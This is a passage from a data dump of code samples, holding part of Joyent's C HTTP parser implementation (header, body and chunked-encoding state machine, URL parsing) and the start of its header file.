(!IS_NUM(ch)) {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        parser->http_minor = ch - '0';\n        parser->state = s_req_http_minor;\n        break;\n\n      /* minor HTTP version or end of request line */\n      case s_req_http_minor:\n      {\n        if (ch == CR) {\n          parser->state = s_req_line_almost_done;\n          break;\n        }\n\n        if (ch == LF) {\n          parser->state = s_header_field_start;\n          break;\n        }\n\n        /* XXX allow spaces after digit? */\n\n        if (!IS_NUM(ch)) {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        parser->http_minor *= 10;\n        parser->http_minor += ch - '0';\n\n        if (parser->http_minor > 999) {\n          SET_ERRNO(HPE_INVALID_VERSION);\n          goto error;\n        }\n\n        break;\n      }\n\n      /* end of request line */\n      case s_req_line_almost_done:\n      {\n        if (ch != LF) {\n          SET_ERRNO(HPE_LF_EXPECTED);\n          goto error;\n        }\n\n        parser->state = s_header_field_start;\n        break;\n      }\n\n      case s_header_field_start:\n      {\n        if (ch == CR) {\n          parser->state = s_headers_almost_done;\n          break;\n        }\n\n        if (ch == LF) {\n          /* they might be just sending \\n instead of \\r\\n so this would be\n           * the second \\n to denote the end of headers*/\n          parser->state = s_headers_almost_done;\n          goto reexecute_byte;\n        }\n\n        c = TOKEN(ch);\n\n        if (!c) {\n          SET_ERRNO(HPE_INVALID_HEADER_TOKEN);\n          goto error;\n        }\n\n        MARK(header_field);\n\n        parser->index = 0;\n        parser->state = s_header_field;\n\n        switch (c) {\n          case 'c':\n            parser->header_state = h_C;\n            break;\n\n          case 'p':\n            parser->header_state = h_matching_proxy_connection;\n            break;\n\n          case 't':\n            parser->header_state = h_matching_transfer_encoding;\n            break;\n\n          case 'u':\n            parser->header_state = h_matching_upgrade;\n            break;\n\n          default:\n            parser->header_state = h_general;\n            break;\n        }\n        break;\n      }\n\n      case s_header_field:\n      {\n        c = TOKEN(ch);\n\n        if (c) {\n          switch (parser->header_state) {\n            case h_general:\n              break;\n\n            case h_C:\n              parser->index++;\n              parser->header_state = (c == 'o' ? h_CO : h_general);\n              break;\n\n            case h_CO:\n              parser->index++;\n              parser->header_state = (c == 'n' ? h_CON : h_general);\n              break;\n\n            case h_CON:\n              parser->index++;\n              switch (c) {\n                case 'n':\n                  parser->header_state = h_matching_connection;\n                  break;\n                case 't':\n                  parser->header_state = h_matching_content_length;\n                  break;\n                default:\n                  parser->header_state = h_general;\n                  break;\n              }\n              break;\n\n            /* connection */\n\n            case h_matching_connection:\n              parser->index++;\n              if (parser->index > sizeof(CONNECTION)-1\n                  || c != CONNECTION[parser->index]) {\n                parser->header_state = h_general;\n              } else if (parser->index == sizeof(CONNECTION)-2) {\n                parser->header_state = h_connection;\n              }\n              break;\n\n            /* proxy-connection */\n\n            case h_matching_proxy_connection:\n              parser->index++;\n              if (parser->index > sizeof(PROXY_CONNECTION)-1\n                  || c != PROXY_CONNECTION[parser->index]) {\n                parser->header_state = h_general;\n              } else if (parser->index == sizeof(PROXY_CONNECTION)-2) {\n                parser->header_state = h_connection;\n              }\n              break;\n\n            /* content-length */\n\n            case h_matching_content_length:\n              parser->index++;\n              if (parser->index > sizeof(CONTENT_LENGTH)-1\n                  || c != CONTENT_LENGTH[parser->index]) {\n                parser->header_state = h_general;\n              } else if (parser->index == sizeof(CONTENT_LENGTH)-2) {\n                parser->header_state = h_content_length;\n              }\n              break;\n\n            /* transfer-encoding */\n\n            case h_matching_transfer_encoding:\n              parser->index++;\n              if (parser->index > sizeof(TRANSFER_ENCODING)-1\n                  || c != TRANSFER_ENCODING[parser->index]) {\n                parser->header_state = h_general;\n              } else if (parser->index == sizeof(TRANSFER_ENCODING)-2) {\n                parser->header_state = h_transfer_encoding;\n              }\n              break;\n\n            /* upgrade */\n\n            case h_matching_upgrade:\n              parser->index++;\n              if (parser->index > sizeof(UPGRADE)-1\n                  || c != UPGRADE[parser->index]) {\n                parser->header_state = h_general;\n              } else if (parser->index == sizeof(UPGRADE)-2) {\n                parser->header_state = h_upgrade;\n              }\n              break;\n\n            case h_connection:\n            case h_content_length:\n            case h_transfer_encoding:\n            case h_upgrade:\n              if (ch != ' ') parser->header_state = h_general;\n              break;\n\n            default:\n              assert(0 && \"Unknown header_state\");\n              break;\n          }\n          break;\n        }\n\n        if (ch == ':') {\n          parser->state = s_header_value_start;\n          CALLBACK_DATA(header_field);\n          break;\n        }\n\n        if (ch == CR) {\n          parser->state = s_header_almost_done;\n          CALLBACK_DATA(header_field);\n          break;\n        }\n\n        if (ch == LF) {\n          parser->state = s_header_field_start;\n          CALLBACK_DATA(header_field);\n          break;\n        }\n\n        SET_ERRNO(HPE_INVALID_HEADER_TOKEN);\n        goto error;\n      }\n\n      case s_header_value_start:\n      {\n        if (ch == ' ' || ch == '\\t') break;\n\n        MARK(header_value);\n\n        parser->state = s_header_value;\n        parser->index = 0;\n\n        if (ch == CR) {\n          parser->header_state = h_general;\n          parser->state = s_header_almost_done;\n          CALLBACK_DATA(header_value);\n          break;\n        }\n\n        if (ch == LF) {\n          parser->state = s_header_field_start;\n          CALLBACK_DATA(header_value);\n          break;\n        }\n\n        c = LOWER(ch);\n\n        switch (parser->header_state) {\n          case h_upgrade:\n            parser->flags |= F_UPGRADE;\n            parser->header_state = h_general;\n            break;\n\n          case h_transfer_encoding:\n            /* looking for 'Transfer-Encoding: chunked' */\n            if ('c' == c) {\n              parser->header_state = h_matching_transfer_encoding_chunked;\n            } else {\n              parser->header_state = h_general;\n            }\n            break;\n\n          case h_content_length:\n            if (!IS_NUM(ch)) {\n              SET_ERRNO(HPE_INVALID_CONTENT_LENGTH);\n              goto error;\n            }\n\n            parser->content_length = ch - '0';\n            break;\n\n          case h_connection:\n            /* looking for 'Connection: keep-alive' */\n            if (c == 'k') {\n              parser->header_state = h_matching_connection_keep_alive;\n            /* looking for 'Connection: close' */\n            } else if (c == 'c') {\n              parser->header_state = h_matching_connection_close;\n            } else {\n              parser->header_state = h_general;\n            }\n            break;\n\n          default:\n            parser->header_state = h_general;\n            break;\n        }\n        break;\n      }\n\n      case s_header_value:\n      {\n\n        if (ch == CR) {\n          parser->state = s_header_almost_done;\n          CALLBACK_DATA(header_value);\n          break;\n        }\n\n        if (ch == LF) {\n          parser->state = s_header_almost_done;\n          CALLBACK_DATA_NOADVANCE(header_value);\n          goto reexecute_byte;\n        }\n\n        c = LOWER(ch);\n\n        switch (parser->header_state) {\n          case h_general:\n            break;\n\n          case h_connection:\n          case h_transfer_encoding:\n            assert(0 && \"Shouldn't get here.\");\n            break;\n\n          case h_content_length:\n          {\n            uint64_t t;\n\n            if (ch == ' ') break;\n\n            if (!IS_NUM(ch)) {\n              SET_ERRNO(HPE_INVALID_CONTENT_LENGTH);\n              goto error;\n            }\n\n            t = parser->content_length;\n            t *= 10;\n            t += ch - '0';\n\n            /* Overflow? */\n            if (t < parser->content_length || t == ULLONG_MAX) {\n              SET_ERRNO(HPE_INVALID_CONTENT_LENGTH);\n              goto error;\n            }\n\n            parser->content_length = t;\n            break;\n          }\n\n          /* Transfer-Encoding: chunked */\n          case h_matching_transfer_encoding_chunked:\n            parser->index++;\n            if (parser->index > sizeof(CHUNKED)-1\n                || c != CHUNKED[parser->index]) {\n              parser->header_state = h_general;\n            } else if (parser->index == sizeof(CHUNKED)-2) {\n              parser->header_state = h_transfer_encoding_chunked;\n            }\n            break;\n\n          /* looking for 'Connection: keep-alive' */\n          case h_matching_connection_keep_alive:\n            parser->index++;\n            if (parser->index > sizeof(KEEP_ALIVE)-1\n                || c != KEEP_ALIVE[parser->index]) {\n              parser->header_state = h_general;\n            } else if (parser->index == sizeof(KEEP_ALIVE)-2) {\n              parser->header_state = h_connection_keep_alive;\n            }\n            break;\n\n          /* looking for 'Connection: close' */\n          case h_matching_connection_close:\n            parser->index++;\n            if (parser->index > sizeof(CLOSE)-1 || c != CLOSE[parser->index]) {\n              parser->header_state = h_general;\n            } else if (parser->index == sizeof(CLOSE)-2) {\n              parser->header_state = h_connection_close;\n            }\n            break;\n\n          case h_transfer_encoding_chunked:\n          case h_connection_keep_alive:\n          case h_connection_close:\n            if (ch != ' ') parser->header_state = h_general;\n            break;\n\n          default:\n            parser->state = s_header_value;\n            parser->header_state = h_general;\n            break;\n        }\n        break;\n      }\n\n      case s_header_almost_done:\n      {\n        STRICT_CHECK(ch != LF);\n\n        parser->state = s_header_value_lws;\n\n        switch (parser->header_state) {\n          case h_connection_keep_alive:\n            parser->flags |= F_CONNECTION_KEEP_ALIVE;\n            break;\n          case h_connection_close:\n            parser->flags |= F_CONNECTION_CLOSE;\n            break;\n          case h_transfer_encoding_chunked:\n            parser->flags |= F_CHUNKED;\n            break;\n          default:\n            break;\n        }\n\n        break;\n      }\n\n      case s_header_value_lws:\n      {\n        if (ch == ' ' || ch == '\\t')\n          parser->state = s_header_value_start;\n        else\n        {\n          parser->state = s_header_field_start;\n          goto reexecute_byte;\n        }\n        break;\n      }\n\n      case s_headers_almost_done:\n      {\n        STRICT_CHECK(ch != LF);\n\n        if (parser->flags & F_TRAILING) {\n          /* End of a chunked request */\n          parser->state = NEW_MESSAGE();\n          CALLBACK_NOTIFY(message_complete);\n          break;\n        }\n\n        parser->state = s_headers_done;\n\n        /* Set this here so that on_headers_complete() callbacks can see it */\n        parser->upgrade =\n          (parser->flags & F_UPGRADE || parser->method == HTTP_CONNECT);\n\n        /* Here we call the headers_complete callback. This is somewhat\n         * different than other callbacks because if the user returns 1, we\n         * will interpret that as saying that this message has no body. This\n         * is needed for the annoying case of recieving a response to a HEAD\n         * request.\n         *\n         * We'd like to use CALLBACK_NOTIFY_NOADVANCE() here but we cannot, so\n         * we have to simulate it by handling a change in errno below.\n         */\n        if (settings->on_headers_complete) {\n          switch (settings->on_headers_complete(parser)) {\n            case 0:\n              break;\n\n            case 1:\n              parser->flags |= F_SKIPBODY;\n              break;\n\n            default:\n              SET_ERRNO(HPE_CB_headers_complete);\n              return p - data; /* Error */\n          }\n        }\n\n        if (HTTP_PARSER_ERRNO(parser) != HPE_OK) {\n          return p - data;\n        }\n\n        goto reexecute_byte;\n      }\n\n      case s_headers_done:\n      {\n        STRICT_CHECK(ch != LF);\n\n        parser->nread = 0;\n\n        /* Exit, the rest of the connect is in a different protocol. */\n        if (parser->upgrade) {\n          parser->state = NEW_MESSAGE();\n          CALLBACK_NOTIFY(message_complete);\n          return (p - data) + 1;\n        }\n\n        if (parser->flags & F_SKIPBODY) {\n          parser->state = NEW_MESSAGE();\n          CALLBACK_NOTIFY(message_complete);\n        } else if (parser->flags & F_CHUNKED) {\n          /* chunked encoding - ignore Content-Length header */\n          parser->state = s_chunk_size_start;\n        } else {\n          if (parser->content_length == 0) {\n            /* Content-Length header given but zero: Content-Length: 0\\r\\n */\n            parser->state = NEW_MESSAGE();\n            CALLBACK_NOTIFY(message_complete);\n          } else if (parser->content_length != ULLONG_MAX) {\n            /* Content-Length header given and non-zero */\n            parser->state = s_body_identity;\n          } else {\n            if (parser->type == HTTP_REQUEST ||\n                !http_message_needs_eof(parser)) {\n              /* Assume content-length 0 - read the next */\n              parser->state = NEW_MESSAGE();\n              CALLBACK_NOTIFY(message_complete);\n            } else {\n              /* Read body until EOF */\n              parser->state = s_body_identity_eof;\n            }\n          }\n        }\n\n        break;\n      }\n\n      case s_body_identity:\n      {\n        uint64_t to_read = MIN(parser->content_length,\n                               (uint64_t) ((data + len) - p));\n\n        assert(parser->content_length != 0\n            && parser->content_length != ULLONG_MAX);\n\n        /* The difference between advancing content_length and p is because\n         * the latter will automaticaly advance on the next loop iteration.\n         * Further, if content_length ends up at 0, we want to see the last\n         * byte again for our message complete callback.\n         */\n        MARK(body);\n        parser->content_length -= to_read;\n        p += to_read - 1;\n\n        if (parser->content_length == 0) {\n          parser->state = s_message_done;\n\n          /* Mimic CALLBACK_DATA_NOADVANCE() but with one extra byte.\n           *\n           * The alternative to doing this is to wait for the next byte to\n           * trigger the data callback, just as in every other case. The\n           * problem with this is that this makes it difficult for the test\n           * harness to distinguish between complete-on-EOF and\n           * complete-on-length. It's not clear that this distinction is\n           * important for applications, but let's keep it for now.\n           */\n          CALLBACK_DATA_(body, p - body_mark + 1, p - data);\n          goto reexecute_byte;\n        }\n\n        break;\n      }\n\n      /* read until EOF */\n      case s_body_identity_eof:\n        MARK(body);\n        p = data + len - 1;\n\n        break;\n\n      case s_message_done:\n        parser->state = NEW_MESSAGE();\n        CALLBACK_NOTIFY(message_complete);\n        break;\n\n      case s_chunk_size_start:\n      {\n        assert(parser->nread == 1);\n        assert(parser->flags & F_CHUNKED);\n\n        unhex_val = unhex[(unsigned char)ch];\n        if (unhex_val == -1) {\n          SET_ERRNO(HPE_INVALID_CHUNK_SIZE);\n          goto error;\n        }\n\n        parser->content_length = unhex_val;\n        parser->state = s_chunk_size;\n        break;\n      }\n\n      case s_chunk_size:\n      {\n        uint64_t t;\n\n        assert(parser->flags & F_CHUNKED);\n\n        if (ch == CR) {\n          parser->state = s_chunk_size_almost_done;\n          break;\n        }\n\n        unhex_val = unhex[(unsigned char)ch];\n\n        if (unhex_val == -1) {\n          if (ch == ';' || ch == ' ') {\n            parser->state = s_chunk_parameters;\n            break;\n          }\n\n          SET_ERRNO(HPE_INVALID_CHUNK_SIZE);\n          goto error;\n        }\n\n        t = parser->content_length;\n        t *= 16;\n        t += unhex_val;\n\n        /* Overflow? */\n        if (t < parser->content_length || t == ULLONG_MAX) {\n          SET_ERRNO(HPE_INVALID_CONTENT_LENGTH);\n          goto error;\n        }\n\n        parser->content_length = t;\n        break;\n      }\n\n      case s_chunk_parameters:\n      {\n        assert(parser->flags & F_CHUNKED);\n        /* just ignore this shit. TODO check for overflow */\n        if (ch == CR) {\n          parser->state = s_chunk_size_almost_done;\n          break;\n        }\n        break;\n      }\n\n      case s_chunk_size_almost_done:\n      {\n        assert(parser->flags & F_CHUNKED);\n        STRICT_CHECK(ch != LF);\n\n        parser->nread = 0;\n\n        if (parser->content_length == 0) {\n          parser->flags |= F_TRAILING;\n          parser->state = s_header_field_start;\n        } else {\n          parser->state = s_chunk_data;\n        }\n        break;\n      }\n\n      case s_chunk_data:\n      {\n        uint64_t to_read = MIN(parser->content_length,\n                               (uint64_t) ((data + len) - p));\n\n        assert(parser->flags & F_CHUNKED);\n        assert(parser->content_length != 0\n            && parser->content_length != ULLONG_MAX);\n\n        /* See the explanation in s_body_identity for why the content\n         * length and data pointers are managed this way.\n         */\n        MARK(body);\n        parser->content_length -= to_read;\n        p += to_read - 1;\n\n        if (parser->content_length == 0) {\n          parser->state = s_chunk_data_almost_done;\n        }\n\n        break;\n      }\n\n      case s_chunk_data_almost_done:\n        assert(parser->flags & F_CHUNKED);\n        assert(parser->content_length == 0);\n        STRICT_CHECK(ch != CR);\n        parser->state = s_chunk_data_done;\n        CALLBACK_DATA(body);\n        break;\n\n      case s_chunk_data_done:\n        assert(parser->flags & F_CHUNKED);\n        STRICT_CHECK(ch != LF);\n        parser->nread = 0;\n        parser->state = s_chunk_size_start;\n        break;\n\n      default:\n        assert(0 && \"unhandled state\");\n        SET_ERRNO(HPE_INVALID_INTERNAL_STATE);\n        goto error;\n    }\n  }\n\n  /* Run callbacks for any marks that we have leftover after we ran our of\n   * bytes. There should be at most one of these set, so it's OK to invoke\n   * them in series (unset marks will not result in callbacks).\n   *\n   * We use the NOADVANCE() variety of callbacks here because 'p' has already\n   * overflowed 'data' and this allows us to correct for the off-by-one that\n   * we'd otherwise have (since CALLBACK_DATA() is meant to be run with a 'p'\n   * value that's in-bounds).\n   */\n\n  assert(((header_field_mark ? 1 : 0) +\n          (header_value_mark ? 1 : 0) +\n          (url_mark ? 1 : 0)  +\n          (body_mark ? 1 : 0)) <= 1);\n\n  CALLBACK_DATA_NOADVANCE(header_field);\n  CALLBACK_DATA_NOADVANCE(header_value);\n  CALLBACK_DATA_NOADVANCE(url);\n  CALLBACK_DATA_NOADVANCE(body);\n\n  return len;\n\nerror:\n  if (HTTP_PARSER_ERRNO(parser) == HPE_OK) {\n    SET_ERRNO(HPE_UNKNOWN);\n  }\n\n  return (p - data);\n}\n\n\n/* Does the parser need to see an EOF to find the end of the message? */\nint\nhttp_message_needs_eof (http_parser *parser)\n{\n  if (parser->type == HTTP_REQUEST) {\n    return 0;\n  }\n\n  /* See RFC 2616 section 4.4 */\n  if (parser->status_code / 100 == 1 || /* 1xx e.g. Continue */\n      parser->status_code == 204 ||     /* No Content */\n      parser->status_code == 304 ||     /* Not Modified */\n      parser->flags & F_SKIPBODY) {     /* response to a HEAD request */\n    return 0;\n  }\n\n  if ((parser->flags & F_CHUNKED) || parser->content_length != ULLONG_MAX) {\n    return 0;\n  }\n\n  return 1;\n}\n\n\nint\nhttp_should_keep_alive (http_parser *parser)\n{\n  if (parser->http_major > 0 && parser->http_minor > 0) {\n    /* HTTP/1.1 */\n    if (parser->flags & F_CONNECTION_CLOSE) {\n      return 0;\n    }\n  } else {\n    /* HTTP/1.0 or earlier */\n    if (!(parser->flags & F_CONNECTION_KEEP_ALIVE)) {\n      return 0;\n    }\n  }\n\n  return !http_message_needs_eof(parser);\n}\n\n\nconst char * http_method_str (enum http_method m)\n{\n  return method_strings[m];\n}\n\n\nvoid\nhttp_parser_init (http_parser *parser, enum http_parser_type t)\n{\n  void *data = parser->data; /* preserve application data */\n  memset(parser, 0, sizeof(*parser));\n  parser->data = data;\n  parser->type = t;\n  parser->state = (t == HTTP_REQUEST ? s_start_req : (t == HTTP_RESPONSE ? s_start_res : s_start_req_or_res));\n  parser->http_errno = HPE_OK;\n}\n\nconst char *\nhttp_errno_name(enum http_errno err) {\n  assert(err < (sizeof(http_strerror_tab)/sizeof(http_strerror_tab[0])));\n  return http_strerror_tab[err].name;\n}\n\nconst char *\nhttp_errno_description(enum http_errno err) {\n  assert(err < (sizeof(http_strerror_tab)/sizeof(http_strerror_tab[0])));\n  return http_strerror_tab[err].description;\n}\n\nint\nhttp_parser_parse_url(const char *buf, size_t buflen, int is_connect,\n                      struct http_parser_url *u)\n{\n  enum state s;\n  const char *p;\n  enum http_parser_url_fields uf, old_uf;\n\n  u->port = u->field_set = 0;\n  s = is_connect ? s_req_host_start : s_req_spaces_before_url;\n  uf = old_uf = UF_MAX;\n\n  for (p = buf; p < buf + buflen; p++) {\n    s = parse_url_char(s, *p);\n\n    /* Figure out the next field that we're operating on */\n    switch (s) {\n      case s_dead:\n        return 1;\n\n      /* Skip delimeters */\n      case s_req_schema_slash:\n      case s_req_schema_slash_slash:\n      case s_req_host_start:\n      case s_req_host_v6_start:\n      case s_req_host_v6_end:\n      case s_req_port_start:\n      case s_req_query_string_start:\n      case s_req_fragment_start:\n        continue;\n\n      case s_req_schema:\n        uf = UF_SCHEMA;\n        break;\n\n      case s_req_host:\n      case s_req_host_v6:\n        uf = UF_HOST;\n        break;\n\n      case s_req_port:\n        uf = UF_PORT;\n        break;\n\n      case s_req_path:\n        uf = UF_PATH;\n        break;\n\n      case s_req_query_string:\n        uf = UF_QUERY;\n        break;\n\n      case s_req_fragment:\n        uf = UF_FRAGMENT;\n        break;\n\n      default:\n        assert(!\"Unexpected state\");\n        return 1;\n    }\n\n    /* Nothing's changed; soldier on */\n    if (uf == old_uf) {\n      u->field_data[uf].len++;\n      continue;\n    }\n\n    u->field_data[uf].off = p - buf;\n    u->field_data[uf].len = 1;\n\n    u->field_set |= (1 << uf);\n    old_uf = uf;\n  }\n\n  /* CONNECT requests can only contain \"hostname:port\" */\n  if (is_connect && u->field_set != ((1 << UF_HOST)|(1 << UF_PORT))) {\n    return 1;\n  }\n\n  /* Make sure we don't end somewhere unexpected */\n  switch (s) {\n  case s_req_host_v6_start:\n  case s_req_host_v6:\n  case s_req_host_v6_end:\n  case s_req_host:\n  case s_req_port_start:\n    return 1;\n  default:\n    break;\n  }\n\n  if (u->field_set & (1 << UF_PORT)) {\n    /* Don't bother with endp; we've already validated the string */\n    unsigned long v = strtoul(buf + u->field_data[UF_PORT].off, NULL, 10);\n\n    /* Ports have a max value of 2^16 */\n    if (v > 0xffff) {\n      return 1;\n    }\n\n    u->port = (uint16_t) v;\n  }\n\n  return 0;\n}\n\nvoid\nhttp_parser_pause(http_parser *parser, int paused) {\n  /* Users should only be pausing/unpausing a parser that is not in an error\n   * state. In non-debug builds, there's not much that we can do about this\n   * other than ignore it.\n   */\n  if (HTTP_PARSER_ERRNO(parser) == HPE_OK ||\n      HTTP_PARSER_ERRNO(parser) == HPE_PAUSED) {\n    SET_ERRNO((paused) ? HPE_PAUSED : HPE_OK);\n  } else {\n    assert(0 && \"Attempting to pause parser in error state\");\n  }\n}\n"
  },
  {
    "path": "samples/C/http_parser.h",
    "content": "/* Copyright Joyent, Inc. and other Node contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n */\n#ifndef http_parser_h\n#define http_parser_h\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define HTTP_PARSER_VERSION_MAJOR 1\n#define HTTP_PARSER_VERSION_MINOR 0\n\n#include <sys/types.h>\n#if defined(_WIN32) && !defined(__MINGW32__) && (!defined(_MSC_VER) || _MSC_VER<1600)\ntypedef __int8 int8_t;\ntypedef unsigned __int8 uint8_t;\ntypedef __int16 int16_t;\ntypedef unsigned __int16 uint16_t;\ntypedef __int32 int32_t;\ntypedef unsigned __int32 uint32_t;\ntypedef __int64 int64_t;\ntypedef unsigned __int64 uint64_t;\n\ntypedef unsigned int size_t;\ntypedef int ssize_t;\n#else\n#include <stdint.h>\n#endif\n\n/* Compile with -DHTTP_PARSER_STRICT=0 to make less checks, but run\n * faster\n */\n#ifndef HTTP_PARSER_STRICT\n# define HTTP_PARSER_STRICT 1\n#endif\n\n/* Compile with -DHTTP_PARSER_DEBUG=1 to add extra debugging information to\n * the error reporting facility.\n */\n#ifndef HTTP_PARSER_DEBUG\n# define HTTP_PARSER_DEBUG 0\n#endif\n\n\n/* Maximium header size allowed */\n#define HTTP_MAX_HEADER_SIZE (80*1024)\n\n\ntypedef struct http_parser http_parser;\ntypedef struct http_parser_settings http_parser_settings;\n\n\n/* Callbacks should return non-zero to indicate an error. The parser will\n * then halt execution.\n *\n * The one exception is on_headers_complete. In a HTTP_RESPONSE parser\n * returning '1' from on_headers_complete will tell the parser that it\n * should not expect a body. This is used when receiving a response to a\n * HEAD request which may contain 'Content-Length' or 'Transfer-Encoding:\n * chunked' headers that indicate the presence of a body.\n *\n * http_data_cb does not return data chunks. It will be call arbitrarally\n * many times for each string. E.G. you might get 10 callbacks for \"on_path\"\n * each providing just a few characters more data.\n */\ntypedef int (*http_data_cb) (http_parser*, const char *at, size_t length);\ntypedef int (*http_cb) (http_parser*);\n\n\n/* Request Methods */\n#define HTTP_METHOD_MAP(XX)         \\\n  XX(0,  DELETE,      DELETE)       \\\n  XX(1,  GET,         GET)          \\\n  XX(2,  HEAD,        HEAD)         \\\n  XX(3,  POST,        POST)         \\\n  XX(4,  PUT,         PUT)          \\\n  /* pathological */                \\\n  XX(5,  CONNECT,     CONNECT)      \\\n  XX(6,  OPTIONS,     OPTIONS)      \\\n  XX(7,  TRACE,       TRACE)        \\\n  /* webdav */                      \\\n  XX(8,  COPY,        COPY)         \\\n  XX(9,  LOCK,        LOCK)         \\\n  XX(10, MKCOL,       MKCOL)        \\\n  XX(11, MOVE,        MOVE)         \\\n  XX(12, PROPFIND,    PROPFIND)     \\\n  XX(13, PROPPATCH,   PROPPATCH)    \\\n  XX(14, SEARCH,      SEARCH)       \\\n  XX(15, UNLOCK,      UNLOCK)       \\\n  /* subversion */                  \\\n  XX(16, REPORT,      REPORT)       \\\n  XX(17, MKACTIVITY,  MKACTIVITY)   \\\n  XX(18, CHECKOUT,    CHECKOUT)     \\\n  XX(19, MERGE,       MERGE)        \\\n  /* upnp */                        \\\n  XX(20, MSEARCH,     M-SEARCH)     \\\n  XX(21, NOTIFY,      NOTIFY)       \\\n  XX(22, SUBSCRIBE,   SUBSCRIBE)    \\\n  XX(23, UNSUBSCRIBE, UNSUBSCRIBE)  \\\n  /* RFC-5789 */                    \\\n  XX(24, PATCH,       PATCH)        \\\n  XX(25, PURGE,       PURGE)        \\\n\nenum http_method\n  {\n#define XX(num, name, string) HTTP_##name = num,\n  HTTP_METHOD_MAP(XX)\n#undef XX\n  };\n\n\nenum http_parser_type { HTTP_REQUEST, HTTP_RESPONSE, HTTP_BOTH };\n\n\n/* Flag values for http_parser.flags field */\nenum flags\n  { F_CHUNKED               = 1 << 0\n  , F_CONNECTION_KEEP_ALIVE = 1 << 1\n  , F_CONNECTION_CLOSE      = 1 << 2\n  , F_TRAILING              = 1 << 3\n  , F_UPGRADE               = 1 << 4\n  , F_SKIPBODY              = 1 << 5\n  };\n\n\n/* Map for errno-related constants\n * \n * The provided argument should be a macro that takes 2 arguments.\n */\n#define HTTP_ERRNO_MAP(XX)                                           \\\n  /* No error */                                                     \\\n  XX(OK, \"success\")                                                  \\\n                                                                     \\\n  /* Callback-related errors */                                      \\\n  XX(CB_message_begin, \"the on_message_begin callback failed\")       \\\n  XX(CB_url, \"the on_url callback failed\")                           \\\n  XX(CB_header_field, \"the on_header_field callback failed\")         \\\n  XX(CB_header_value, \"the on_header_value callback failed\")         \\\n  XX(CB_headers_complete, \"the on_headers_complete callback failed\") \\\n  XX(CB_body, \"the on_body callback failed\")                         \\\n  XX(CB_message_complete, \"the on_message_complete callback failed\") \\\n                                                                     \\\n  /* Parsing-related errors */                                       \\\n  XX(INVALID_EOF_STATE, \"stream ended at an unexpected time\")        \\\n  XX(HEADER_OVERFLOW,                                                \\\n     \"too many header bytes seen; overflow detected\")                \\\n  XX(CLOSED_CONNECTION,                                              \\\n     \"data received after completed connection: close message\")      \\\n  XX(INVALID_VERSION, \"invalid HTTP version\")                        \\\n  XX(INVALID_STATUS, \"invalid HTTP status code\")                     \\\n  XX(INVALID_METHOD, \"invalid HTTP method\")                          \\\n  XX(INVALID_URL, \"invalid URL\")                                     \\\n  XX(INVALID_HOST, \"invalid host\")                                   \\\n  XX(INVALID_PORT, \"invalid port\")                                   \\\n  XX(INVALID_PATH, \"invalid path\")                                   \\\n  XX(INVALID_QUERY_STRING, \"invalid query string\")                   \\\n  XX(INVALID_FRAGMENT, \"invalid fragment\")                           \\\n  XX(LF_EXPECTED, \"LF character expected\")                           \\\n  XX(INVALID_HEADER_TOKEN, \"invalid character in header\")            \\\n  XX(INVALID_CONTENT_LENGTH,                                         \\\n     \"invalid character in content-length header\")                   \\\n  XX(INVALID_CHUNK_SIZE,                                             \\\n     \"invalid character in chunk size header\")                       \\\n  XX(INVALID_CONSTANT, \"invalid constant string\")                    \\\n  XX(INVALID_INTERNAL_STATE, \"encountered unexpected internal state\")\\\n  XX(STRICT, \"strict mode assertion failed\")                         \\\n  XX(PAUSED, \"parser is paused\")                                     \\\n  XX(UNKNOWN, \"an unknown error occurred\")\n\n\n/* Define HPE_* values for each errno value above */\n#define HTTP_ERRNO_GEN(n, s) HPE_##n,\nenum http_errno {\n  HTTP_ERRNO_MAP(HTTP_ERRNO_GEN)\n};\n#undef HTTP_ERRNO_GEN\n\n\n/* Get an http_errno value from an http_parser */\n#define HTTP_PARSER_ERRNO(p)            ((enum http_errno) (p)->http_errno)\n\n/* Get the line number that generated the current error */\n#if HTTP_PARSER_DEBUG\n#define HTTP_PARSER_ERRNO_LINE(p)       ((p)->error_lineno)\n#else\n#define HTTP_PARSER_ERRNO_LINE(p)       0\n#endif\n\n\nstruct http_parser {\n  /** PRIVATE **/\n  unsigned char type : 2;     /* enum http_parser_type */\n  unsigned char flags : 6;    /* F_* values from 'flags' enum; semi-public */\n  unsigned char state;        /* enum state from http_parser.c */\n  unsigned char header_state; /* enum header_state from http_parser.c */\n  unsigned char index;        /* index into current matcher */\n\n  uint32_t nread;          /* # bytes read in various scenarios */\n  uint64_t content_length; /* # bytes in body (0 if no Content-Length header) */\n\n  /** READ-ONLY **/\n  unsigned short http_major;\n  unsigned short http_minor;\n  unsigned short status_code; /* responses only */\n  unsigned char method;       /* requests only */\n  unsigned char http_errno : 7;\n\n  /* 1 = Upgrade header was present and the parser has exited because of that.\n   * 0 = No upgrade header present.\n   * Should be checked when http_parser_execute() returns in addition to\n   * error checking.\n   */\n  unsigned char upgrade : 1;\n\n#if HTTP_PARSER_DEBUG\n  uint32_t error_lineno;\n#endif\n\n  /** PUBLIC **/\n  void *data; /* A pointer to get hook to the \"connection\" or \"socket\" object */\n};\n\n\nstruct http_parser_settings {\n  http_cb      on_message_begin;\n  http_data_cb on_url;\n  http_data_cb on_header_field;\n  http_data_cb on_header_value;\n  http_cb      on_headers_complete;\n  http_data_cb on_body;\n  http_cb      on_message_complete;\n};\n\n\nenum http_parser_url_fields\n  { UF_SCHEMA           = 